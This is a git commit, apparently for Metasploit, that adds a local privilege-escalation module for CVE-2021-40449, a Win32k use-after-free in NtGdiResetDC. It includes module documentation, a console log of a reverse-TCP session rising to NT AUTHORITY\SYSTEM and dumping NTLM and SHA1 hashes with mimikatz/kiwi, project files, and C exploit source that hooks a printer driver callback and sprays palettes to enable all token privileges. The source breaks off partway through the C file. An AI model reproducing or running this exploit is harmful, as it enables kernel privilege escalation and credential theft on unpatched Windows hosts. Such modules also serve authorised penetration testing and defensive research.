First draft of code, documentation, and exploit DLL plus exploit code

This commit is contained in:
Grant Willcox 2021-11-05 15:56:17 -05:00
parent 1dd26bca03
commit 780a9370a2
No known key found for this signature in database
GPG Key ID: D35E05C0F2B81E83
6 changed files with 1263 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,155 @@
## Vulnerable Application
A use after free vulnerability exists in the `NtGdiResetDC()` function of Win32k which can be leveraged by
an attacker to escalate privileges to those of `NT AUTHORITY\SYSTEM`. The flaw exists due to the fact
that this function calls `hdcOpenDCW()`, which performs a user mode callback. During this callback, attackers
can call the `NtGdiResetDC()` function again with the same handle as before, which will result in the PDC object
that is referenced byt his handle being freed. The attacker can then replace the memory referenced by the handle
with their own object, before passing execution back to the original `NtGdiResetDC()` call, which will now use the
attacker's object without appropriate validation. This can then allow the attacker to manipulate the state of the
kernel and, together with additional exploitation techniques, gain code execution as NT AUTHORITY\SYSTEM.
This module has been tested to work on Windows 10 x64 RS1 (build 14393) and RS5 (build 17763), however
previous versions of Windows 10 will likely also work.
Note the exploit may occasionally not work the first time so you may have to run it again to get the results.
## Options
## Verification Steps
1. Get a non-SYSTEM meterpreter session on Win10 RS5 x64
2. `use exploit/windows/local/cve_2021_40449`
3. `set session <session>`
4. `exploit`
5. Get a SYSTEM session
## Scenarios
### Windows 10 1809 Build 17763.2114 x64
```
msf6 exploit(multi/handler) > exploit
[*] Started bind TCP handler against 172.28.156.210:4444
[*] Sending stage (200262 bytes) to 172.28.156.210
[*] Meterpreter session 1 opened (172.28.145.185:36167 -> 172.28.156.210:4444 ) at 2021-11-05 15:45:08 -0500
meterpreter > getuid
Server username: DESKTOP-3GHNQ93\normal
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The system cannot find the file specified. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
meterpreter > sysinfo
Computer : DESKTOP-3GHNQ93
OS : Windows 10 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/cve_2021_40449
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2021_40449) > show options
Module options (exploit/windows/local/cve_2021_40449):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.28.145.185 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)
msf6 exploit(windows/local/cve_2021_40449) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/cve_2021_40449) > set LPORT 9988
LPORT => 9988
msf6 exploit(windows/local/cve_2021_40449) > exploit
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_sys_process_set_term_size
[*] Started reverse TCP handler on 172.28.145.185:9988
[*] Running automatic check ("set AutoCheck false" to disable)
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] exploit: Interrupted
msf6 exploit(windows/local/cve_2021_40449) > exploit
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_sys_process_set_term_size
[*] Started reverse TCP handler on 172.28.145.185:9988
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target's build number: 10.0.17763.2114
[+] The target appears to be vulnerable. Vulnerable Windows 10 v1809 build detected!
[*] Launching msiexec to host the DLL...
[+] Process 2520 launched.
[*] Reflectively injecting the DLL into 2520...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200262 bytes) to 172.28.156.210
[*] Meterpreter session 2 opened (172.28.145.185:9988 -> 172.28.156.210:49900 ) at 2021-11-05 15:46:21 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load kiwi
Loading extension kiwi...c
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1
-------- ------ ---- ----
normal DESKTOP-3GHNQ93 a38673ad58b19421e952fc317b62c3c4 ccff8cc980f0024dc5b3f925194a35c0fa0231c3
test DESKTOP-3GHNQ93 0cb6948805f797bf2a82807973b89537 87f8ed9157125ffc4da9e06a7b8011ad80a53fe1
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
DESKTOP-3GHNQ93$ WORKGROUP (null)
normal DESKTOP-3GHNQ93 (null)
test DESKTOP-3GHNQ93 (null)
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
desktop-3ghnq93$ WORKGROUP (null)
normal DESKTOP-3GHNQ93 (null)
test DESKTOP-3GHNQ93 (null)
meterpreter >
```

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31729.503
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2021-40449", "CVE-2021-40449\CVE-2021-40449.vcxproj", "{AF6CB19A-2068-4490-BE5A-710F0AD5C152}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{AF6CB19A-2068-4490-BE5A-710F0AD5C152}.Debug|x64.ActiveCfg = Debug|x64
{AF6CB19A-2068-4490-BE5A-710F0AD5C152}.Debug|x64.Build.0 = Debug|x64
{AF6CB19A-2068-4490-BE5A-710F0AD5C152}.Debug|x86.ActiveCfg = Debug|Win32
{AF6CB19A-2068-4490-BE5A-710F0AD5C152}.Debug|x86.Build.0 = Debug|Win32
{AF6CB19A-2068-4490-BE5A-710F0AD5C152}.Release|x64.ActiveCfg = Release|x64
{AF6CB19A-2068-4490-BE5A-710F0AD5C152}.Release|x64.Build.0 = Release|x64
{AF6CB19A-2068-4490-BE5A-710F0AD5C152}.Release|x86.ActiveCfg = Release|Win32
{AF6CB19A-2068-4490-BE5A-710F0AD5C152}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {AF181344-04CA-4E6A-A552-ABA13E6AC54A}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,229 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<ProjectGuid>{af6cb19a-2068-4490-be5a-710f0ad5c152}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>CVE_2021_40449</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<GenerateMapFile>true</GenerateMapFile>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<GenerateMapFile>true</GenerateMapFile>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>false</FunctionLevelLinking>
<IntrinsicFunctions>false</IntrinsicFunctions>
<SDLCheck>
</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<GenerateMapFile>false</GenerateMapFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>false</FunctionLevelLinking>
<IntrinsicFunctions>false</IntrinsicFunctions>
<SDLCheck>
</SDLCheck>
<PreprocessorDefinitions>NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<GenerateMapFile>false</GenerateMapFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="dllmain.c" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,684 @@
#pragma warning( disable : 4005 )
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "ReflectiveLoader.c"
#include <stdio.h>
#include <winddi.h>
#include <Windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <winspool.h>
#include "../../include/windows/common.h"
#define SystemHandleInformation 0x10
#define SystemBigPoolInformation 0x42
#define ThreadNameInformation 0x26
// Manually define a whole bunch of structures with definitions from winternl.h vs importing winternl.h cause our ReflectiveLoader.h
// decided it would be a bright idea to define only some of these manually, thus causing any other program that wants to load anything
// that this defines to cause compilation errors, even if its trying to override the definition with more correct info or more definitions.
typedef enum _THREADINFOCLASS {
ThreadIsIoPending = 16
} THREADINFOCLASS;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45,
SystemCodeIntegrityInformation = 103,
SystemPolicyInformation = 134,
} SYSTEM_INFORMATION_CLASS;
typedef struct _DriverHook
{
ULONG index;
LPVOID func;
} DriverHook;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING* PUNICODE_STRING;
typedef const UNICODE_STRING* PCUNICODE_STRING;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct
{
DWORD64 Address;
DWORD64 PoolSize;
CHAR PoolTag[4];
CHAR Padding[4];
} BIG_POOL_INFO, * PBIG_POOL_INFO;
typedef BOOL(*DrvEnableDriver_t)(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA* pded);
typedef DHPDEV(*DrvEnablePDEV_t)(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver);
typedef VOID(*VoidFunc_t)();
typedef NTSTATUS(*NtSetInformationThread_t)(HANDLE threadHandle, THREADINFOCLASS threadInformationClass, PVOID threadInformation, ULONG threadInformationLength);
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
DHPDEV hook_DrvEnablePDEV(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver);
DriverHook driverHooks[] = {
{INDEX_DrvEnablePDEV, (LPVOID)hook_DrvEnablePDEV},
};
NtSetInformationThread_t SetInformationThread;
NtQuerySystemInformation_t QuerySystemInformation;
//Global Variables
LPWSTR printerName;
HDC hdc;
DWORD counter;
BOOL shouldTrigger;
VoidFunc_t origDrvFuncs[INDEX_LAST];
DWORD64 rtlSetAllBits;
DWORD64 fakeRtlBitMapAddr;
DWORD currentProcessId;
VOID SprayPalettes(DWORD size)
{
/* Spray palettes to reclaim freed memory */
DWORD palCount = (size - 0x90) / 4;
DWORD palSize = sizeof(LOGPALETTE) + (palCount - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palSize);
if (lPalette == NULL) {
//puts("[-] Failed to create palette");
return;
}
DWORD64* p = (DWORD64*)((DWORD64)lPalette + 4);
// Will call: RtlSetAllBits(BitMapHeader), where BitMapHeader is a forged
// to point to the current process token (See `CreateForgedBitMapHeader`)
// This will enable all privileges
// Offset is specific to each version. Spray the two pointers
// Arg1 (BitMapHeader)
for (DWORD i = 0; i < 0x120; i++) {
p[i] = fakeRtlBitMapAddr;
// p[0xe5] = fakeRtlBitMapAddr;
}
// Function pointer (RtlSetAllBits)
for (DWORD i = 0x120; i < (palSize - 4) / 8; i++) {
p[i] = rtlSetAllBits;
// p[0x15b] = rtlSetAllBits;
}
lPalette->palNumEntries = (WORD)palCount;
lPalette->palVersion = 0x300;
// Create lots of palettes
for (DWORD i = 0; i < 0x5000; i++)
{
CreatePalette(lPalette);
}
}
DHPDEV hook_DrvEnablePDEV(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver)
{
//puts("[*] Hooked DrvEnablePDEV called");
DHPDEV res = ((DrvEnablePDEV_t)origDrvFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
// Check if we should trigger the vulnerability
if (shouldTrigger == TRUE)
{
// We only want to trigger the vulnerability once
shouldTrigger = FALSE;
// Trigger vulnerability with second ResetDC. This will destroy the original
// device context, while we're still inside of the first ResetDC. This will
// result in a UAF
//puts("[*] Triggering UAF with second ResetDC");
HDC tmp_hdc = ResetDCW(hdc, NULL);
//puts("[*] Returned from second ResetDC");
// This is where we reclaim the freed memory and overwrite the function pointer
// and argument. We will use palettes to reclaim the freed memory
//puts("[*] Spraying palettes");
SprayPalettes(0xe20);
//puts("[*] Done spraying palettes");
}
return res;
}
BOOL SetupUsermodeCallbackHook()
{
/* Find and hook a printer's usermode callbacks */
DrvEnableDriver_t DrvEnableDriver;
VoidFunc_t DrvDisableDriver;
DWORD pcbNeeded, pcbReturned, lpflOldProtect, _lpflOldProtect;
PRINTER_INFO_4W* pPrinterEnum, * printerInfo;
HANDLE hPrinter;
DRIVER_INFO_2W* driverInfo;
HMODULE hModule;
DRVENABLEDATA drvEnableData;
BOOL res;
// Find available printers
EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbReturned);
if (pcbNeeded <= 0)
{
//puts("[-] Failed to find any available printers");
return FALSE;
}
pPrinterEnum = (PRINTER_INFO_4W*)malloc(pcbNeeded);
if (pPrinterEnum == NULL)
{
//puts("[-] Failed to allocate buffer for pPrinterEnum");
return FALSE;
}
res = EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)pPrinterEnum, pcbNeeded, &pcbNeeded, &pcbReturned);
if (res == FALSE || pcbReturned <= 0)
{
//puts("[-] Failed to enumerate printers");
return FALSE;
}
// Loop over printers
for (DWORD i = 0; i < pcbReturned; i++)
{
printerInfo = &pPrinterEnum[0];
//printf("[*] Using printer: %ws\n", printerInfo->pPrinterName);
// Open printer
res = OpenPrinterW(printerInfo->pPrinterName, &hPrinter, NULL);
if (!res)
{
//puts("[-] Failed to open printer");
continue;
}
//printf("[+] Opened printer: %ws\n", printerInfo->pPrinterName);
printerName = _wcsdup(printerInfo->pPrinterName);
// Get the printer driver
GetPrinterDriverW(hPrinter, NULL, 2, NULL, 0, &pcbNeeded);
driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);
res = GetPrinterDriverW(hPrinter, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded);
if (res == FALSE)
{
//printf("[-] Failed to get printer driver\n");
continue;
}
//printf("[*] Driver DLL: %ws\n", driverInfo->pDriverPath);
// Load the printer driver into memory
hModule = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
if (hModule == NULL)
{
//printf("[-] Failed to load printer driver\n");
continue;
}
// Get printer driver's DrvEnableDriver and DrvDisableDriver
DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(hModule, "DrvEnableDriver");
DrvDisableDriver = (VoidFunc_t)GetProcAddress(hModule, "DrvDisableDriver");
if (DrvEnableDriver == NULL || DrvDisableDriver == NULL)
{
//printf("[-] Failed to get exported functions from driver\n");
continue;
}
// Call DrvEnableDriver to get the printer driver's usermode callback table
res = DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData);
if (res == FALSE)
{
//printf("[-] Failed to enable driver\n");
continue;
}
//puts("[+] Enabled printer driver");
// Unprotect the driver's usermode callback table, such that we can overwrite entries
res = VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &lpflOldProtect);
if (res == FALSE)
{
//puts("[-] Failed to unprotect printer driver's usermode callback table");
continue;
}
// Loop over hooks
for (DWORD i = 0; i < sizeof(driverHooks) / sizeof(DriverHook); i++)
{
// Loop over driver's usermode callback table
for (DWORD n = 0; n < drvEnableData.c; n++)
{
ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;
// Check if hook INDEX matches entry INDEX
if (driverHooks[i].index == iFunc)
{
